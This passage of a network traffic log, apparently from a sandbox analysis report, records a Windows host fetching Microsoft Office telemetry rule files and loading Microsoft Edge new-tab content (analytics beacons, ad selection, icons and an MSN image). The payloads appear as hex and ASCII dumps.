2024-11-27 16:58:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:57 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 1fa1d210-401e-0067-3791-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165857Z-174f7845968qj8jrhC1EWRh41s0000000x1g00000000trrm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:58 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.7	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:57 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:57 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: a1da7612-c01e-0014-5d80-3fa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165857Z-174f7845968g6hv8hC1EWR1v2n000000051g00000000qkw9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:58 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.7	49899	18.238.49.52	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:58 UTC	1012	OUT	GET /b2?rn=1732733358995&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0941BF85F38264F21CE2AAC1F2AB6567&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=136d53faa5f516cc781322a1732726736; XID=136d53faa5f516cc781322a1732726736
2024-11-27 16:58:59 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Wed, 27 Nov 2024 16:58:59 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 6ca3dc9afd6f12cee41f6246e0c4aa8e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: cBuZbv-pP7YiSm3wl2-KP1K31V0Nje3OcUbtZWrXvvWkaXx_EtTnrw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.7	49901	20.96.153.111	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:59 UTC	1000	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=0941BF85F38264F21CE2AAC1F2AB6567&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=a051456c4d3f43b1c78038d4df1d0297 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0941BF85F38264F21CE2AAC1F2AB6567; _EDGE_S=F=1&SID=06C9C66DE9DB682E2F31D329E8596974; _EDGE_V=1
2024-11-27 16:58:59 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2761 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132754-T700344123-C128000000002116949+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002116949+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 27 Nov 2024 16:58:59 GMT Connection: close
2024-11-27 16:58:59 UTC	2761	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 49 6e 64 69 61 6e 20 72 68 69 6e 6f 63 65 72 6f 73 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 49 6e 64 69 61 6e 2b 72 68 69 6e 6f 63 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Indian rhinoceros\",\"cta\":\"https:\/\/www.bing.com\/search?q=Indian+rhinoc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.7	49898	13.107.246.40	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:59 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 16:58:59 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:59 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 19199b86-801e-001b-0191-404695000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T165859Z-174f7845968pf68xhC1EWRr4h80000000xcg00000000nkk1 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 16:58:59 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.7	49897	13.107.246.40	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:59 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 16:58:59 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:59 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 915fc15d-601e-0011-4de1-405f1c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T165859Z-174f7845968kvnqxhC1EWRmf3g0000000fyg00000000n3zn Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 16:58:59 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.7	49902	104.117.182.18	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:59 UTC	656	OUT	GET /tenant/amp/entityid/BBYyvk2?w=0&h=0&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 16:59:00 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BBYyvk2?w=0&h=0&q=60&m=6&f=jpg&u=t Last-Modified: Wed, 13 Nov 2024 12:47:07 GMT X-Source-Length: 261407 X-Datacenter: westus X-ActivityId: 1fe70cbc-36b6-452b-b89e-4f5a4fcec11f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 262144 Cache-Control: public, max-age=373781 Expires: Mon, 02 Dec 2024 00:48:40 GMT Date: Wed, 27 Nov 2024 16:58:59 GMT Connection: close
2024-11-27 16:59:00 UTC	15837	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 04 38 07 80 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``8}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
2024-11-27 16:59:00 UTC	16384	IN	Data Raw: a0 02 80 12 80 0a 00 5a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 01 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 16 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 0f 37 6b 80 58 a8 91 c3 9e 9e 9f 4a e5 d4 f4 2e 88 7e d2 d1 1c 95 24 67 6b 71 8a 62 b9 a5 6d 2e f9 37 15 ce Data Ascii: Z(((((((((((((((((((((((((((((((7kXJ.~$gkqbm.7
2024-11-27 16:59:00 UTC	1891	IN	Data Raw: 0a 83 81 9a ca 55 52 d1 1b 46 93 7a b2 b4 f7 0c c9 f2 b1 1d b0 3f c6 b2 75 1b 35 8d 24 88 1d 8f 01 97 0d fd ec f7 a8 b2 34 bb 23 79 38 2b 20 c1 5c f3 fe 34 95 83 52 3d e1 d4 6e 50 71 d1 b3 cd 31 21 ac 89 8f 99 b9 f4 22 a9 3b 09 ea 35 a5 c6 15 50 81 f9 d2 02 27 39 c6 59 7a fd dd d8 39 f5 14 80 85 b7 90 57 6f 4e a0 9e 6a 90 80 18 f6 e0 e4 b0 f4 3c fe 22 8b 01 1b 32 6f 25 48 21 b8 e7 23 14 d2 25 b1 bb 43 44 e3 78 ca f5 52 7a fd 2a 92 b0 6e 22 16 2a b8 04 11 d7 a7 1e e2 81 20 36 c4 3e 65 61 9c e7 38 c5 26 d0 6a 0d 6a 65 f3 72 a3 69 01 83 7b f6 a1 c9 15 ca ca f7 96 0a 59 65 59 17 18 fb ad e9 42 90 34 47 04 77 0b 2b 46 c1 80 cf 0c 4f e4 08 fe b4 d9 25 b8 a3 04 32 32 7c f9 f9 8a 9c 1f 6a 96 34 38 44 4b 8d c3 27 1c 82 39 3f 4a 57 d0 ab 6a 58 54 44 87 7c 6b 8d a7 Data Ascii: URFz?u5$4#y8+ \4R=nPq1!";5P'9Yz9WoNj<"2o%H!#%CDxRzn" 6>ea8&jjeri{YeYB4Gw+FO%22\|j48DK'9?JWjXTD\|k
2024-11-27 16:59:00 UTC	16384	IN	Data Raw: 1b 18 cf b8 cd 00 44 77 bf 20 9c 1e d9 a3 a8 0a b1 8d e1 9c b7 a1 cf 5a ad 89 7a 8a 0e de 00 f9 0f ad 03 2b dc 36 40 2a e0 85 e0 8c f2 3e b4 c9 20 69 5f 6f 03 a7 b6 28 ea 17 d0 af 29 c0 cb 31 a3 c8 3c c6 7d a1 98 0c e4 f6 eb 4d 22 5b 1e 80 b3 13 b5 37 74 e7 bf a5 34 80 5d a3 24 95 21 b1 e9 8e 3d 71 4c 56 17 cb 00 67 60 c8 ea 33 d8 d2 b8 ec 3b e7 8c 85 da 0a fa 93 ce 0f 41 ef 52 31 e8 cc 1d 90 81 c7 3e 9f 8d 22 96 a4 65 81 f9 70 77 74 1b 7a 50 22 37 39 03 2e 0a f7 18 ff 00 3c 51 b6 c1 7b ee 21 c2 9d 8a 83 fd ec 93 fa 55 22 4b 31 c6 77 00 40 3b 81 dd c7 06 80 42 c9 f2 8f 98 97 0c 3d 47 5f 63 50 5f 98 46 0b 0c 90 3e 5e aa 3b 8f 5a a1 31 f1 c7 bc 10 aa 41 1c 1e 39 c7 6e 3b 8a 4c 0b 69 6d b8 a2 b9 1d 3e 56 c6 0e 68 d8 76 b8 f4 5f 2c 98 d8 12 14 ff 00 08 1c 1f Data Ascii: Dw Zz+6@*> i_o()1<}M"[7t4]$!=qLVg`3;AR1>"epwtzP"79.<Q{!U"K1w@;B=G_cP_F>^;Z1A9n;Lim>Vhv_,
2024-11-27 16:59:00 UTC	16384	IN	Data Raw: 4b 99 85 90 35 b2 65 76 a8 19 eb cd 1c cc 7c a8 69 b7 8c e4 ed 1b be b4 f9 98 9c 50 9f 67 4d d9 28 0e 4d 1c cc 4a 28 6f d9 d5 b9 23 af bd 1c cc 7c 88 41 6a a3 b0 c7 d7 b5 3e 66 1c a8 16 dd 00 51 b4 6d 1d 06 7a 51 ce ee 2e 55 60 36 c8 00 25 01 cd 35 36 2e 54 34 db 2b 6e 2e b9 e3 81 9a 39 b6 0e 5d c6 ad a2 60 61 71 8f 7f 6a 39 83 90 68 b5 51 93 b7 e9 cd 27 26 1c a2 7d 98 6d 3f 29 f4 eb 4f 98 39 44 16 a8 aa 40 5e bc 75 a4 a6 1c a2 7d 9c 05 da aa 76 8e 40 cf 7f ad 57 30 b9 06 fd 9f 7b 96 39 1d 3b d1 cd a0 b9 75 14 41 92 58 83 ed cd 1c c1 ca 33 c8 cb 00 72 06 30 0d 3e 64 2e 56 12 c1 b9 f8 df b4 74 24 e4 fe 74 b9 86 e2 c8 cc 2f bf 80 7b 63 df eb 42 69 03 8b 63 de 26 95 fe 5c 8c 0a 2e 90 f9 5b 12 28 5d 08 2c c7 1f 5a 7c c8 5c ac 70 56 5f e2 3f e7 bd 2b a0 69 f7 Data Ascii: K5ev\|iPgM(MJ(o#\|Aj>fQmzQ.U`6%56.T4+n.9]`aqj9hQ'&}m?)O9D@^u}v@W0{9;uAX3r0>d.Vt$t/{cBic&\.[(],Z\|\pV_?+i
2024-11-27 16:59:00 UTC	7952	IN	Data Raw: 28 c9 3d 7e 94 00 9b a4 00 7c bc fa d3 b0 01 67 20 ee 51 9c 73 48 08 be 6c 82 48 07 e9 4c 03 90 0f 4c 13 f9 d1 60 17 08 42 e5 48 1d 71 40 07 97 09 5f 9b 20 f7 c1 a2 c0 1e 4d bf 0d b8 fd 08 e2 8b 00 79 30 6d fb c4 0e c3 34 58 07 f9 31 70 77 8e 87 1f fd 71 48 05 8e 18 7f bd cf d7 f9 50 02 fd 9d 31 cb 0f 6e 68 01 04 0b dd c6 7a 8e 7b 50 03 4d bf 19 57 e7 da 80 18 b1 b8 18 dc 07 3d 68 01 8f 1e c1 85 00 f3 c7 d3 de 81 e8 31 41 dd 80 08 cf 34 08 90 23 11 f7 87 bf 14 00 be 4f 1f 78 f1 d0 ff 00 3a 60 29 89 42 e0 9c 9f af eb 48 07 22 05 2d 90 31 d3 9a 00 b7 3e e6 8d 1b e5 1e 5b 94 05 47 3d 79 fc 3f fa f5 64 12 4d 1b c6 d1 3a b0 0c 77 02 73 f2 80 7a 0f f3 d2 8b dc 7b 15 84 12 2c 0f 10 7f 98 30 c9 ef e9 83 e8 3f c4 53 ba 16 a4 8f 1c 92 2a c8 79 ce 30 09 e7 71 e9 9f Data Ascii: (=~\|g QsHlHLL`BHq@_ My0m4X1pwqHP1nhz{PMW=h1A4#Ox:`)BH"-1>[G=y?dM:wsz{,0?S*y0q
2024-11-27 16:59:00 UTC	16384	IN	Data Raw: 4c f0 cc a5 64 43 86 1e f5 ee c6 4a 49 4a 2f 43 ca 94 5c 5b 8b 12 99 22 d0 02 83 cf 3f fe ba 40 73 d3 c7 f6 7b a9 22 ec a7 e5 fa 1e 95 c8 d5 9b 47 a9 09 73 c1 48 7a 35 5a 64 b4 4a 1a ad 32 07 66 99 21 40 09 49 a1 8e 86 59 ad a4 f3 2d a6 92 17 fe f2 31 04 d4 4a 09 ab 49 14 a4 d6 c6 cd af 8b 75 78 30 24 68 6e 40 ff 00 9e 89 83 f9 8a e7 96 12 9b db 43 55 59 f5 34 e2 f1 c8 c7 ef f4 d6 cf ac 72 8f ea 2b 17 83 7d 19 4a ac 5e e8 9c 78 e2 c7 1c d9 5d 0f fb e7 fc 6a 7e a7 3e e8 7e d6 3d 86 3f 8e 6d 87 fa bd 3e 76 ff 00 79 d4 53 fa 9c bb 87 b5 8f 63 3e e7 c6 d7 f2 02 2d ad 60 84 76 2c 4b 91 fc 85 69 1c 1c 56 ec 9f 6d d9 18 57 fa ad f5 f9 3f 6d bb 92 51 fd cc e1 7f 21 c5 6f 0a 70 a7 f0 a2 1c e4 f7 63 b4 1d 26 4d 73 53 16 e0 15 b5 8b 0d 3b 8e cb d9 47 b9 e9 f9 d6 55 Data Ascii: LdCJIJ/C\["?@s{"GsHz5ZdJ2f!@IY-1JIux0$hn@CUY4r+}J^x]j~>~=?m>vySc>-`v,KiVmW?mQ!opc&MsS;GU
2024-11-27 16:59:00 UTC	16384	IN	Data Raw: 48 3d dc f1 8f a5 17 7d 82 d1 ea c7 a9 9c 9c b9 cf fb c0 ff 00 4a 15 c4 f9 7a 0b 96 c6 3c e8 ff 00 5a 2e fb 85 97 61 19 97 f8 a7 55 6f 54 34 5d 77 1a 8b ec 0b 72 8a 38 63 21 f5 db 4b 99 0d c1 f5 42 7d b1 31 b7 ca 7e 7d b8 a1 c8 4a 9b ee 21 ba 40 38 40 7d 00 6f fe bd 17 f2 1f 27 98 9f 6a 3d 7e 50 be f2 9f e8 28 b8 72 21 c2 e5 98 7c a5 76 fa 96 fe 94 5c 7c 89 09 f6 93 8e 64 4c ff 00 bd 8a 2e 3f 67 e4 06 eb 8c 33 b3 fb 00 b4 ae 1e cf b2 1a 6e 54 72 16 60 3f 01 f9 d1 cc 1c 8c 6b 5f 88 d4 02 aa 33 fd f6 e4 fd 00 a1 bb 0d 53 bb 1a 6f e5 e9 90 ab e8 17 1f d6 a6 ec af 67 10 fb 74 a9 d8 ee 3d f0 33 4f 99 8b 91 30 6b c9 02 65 80 3f 5e 9f 95 37 71 24 9b b1 0f db 25 39 05 d0 0f f6 50 54 dd 97 ca 87 7d a2 40 b9 32 91 9e f8 02 8d 42 cb b0 9f 68 77 c0 f3 24 db ed c0 a3 Data Ascii: 